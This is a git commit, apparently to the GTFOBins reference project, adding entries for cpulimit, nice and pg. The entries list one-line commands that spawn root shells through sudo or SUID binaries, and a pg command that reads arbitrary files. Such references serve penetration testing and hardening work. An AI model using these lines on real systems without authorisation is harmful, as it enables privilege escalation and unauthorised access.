Add nice, cpulimit and pg

This commit is contained in:
pshem 2018-08-24 10:33:15 +01:00 committed by Andrea Cardaci
parent e84ec807a1
commit 2b16dd52e8
3 changed files with 33 additions and 0 deletions

7
_gtfobins/cpulimit.md Normal file
View File

@ -0,0 +1,7 @@
---
functions:
execute-interactive:
- code: cpulimit -l 100 -f /bin/sh
sudo-enabled:
- code: sudo cpulimit -l 100 -f /bin/sh
---

9
_gtfobins/nice.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
execute-interactive:
- code: nice /bin/sh
suid-enabled:
- code: ./nice /bin/sh -p
sudo-enabled:
- code: sudo nice /bin/sh
---

17
_gtfobins/pg.md Normal file
View File

@ -0,0 +1,17 @@
---
functions:
execute-interactive:
- code: |
pg /etc/profile
!/bin/sh
file-read:
- code: pg file_to_read
sudo-enabled:
- code: |
sudo pg /etc/profile
!/bin/sh
suid-limited:
- code: |
./pg /etc/profile
!/bin/sh
---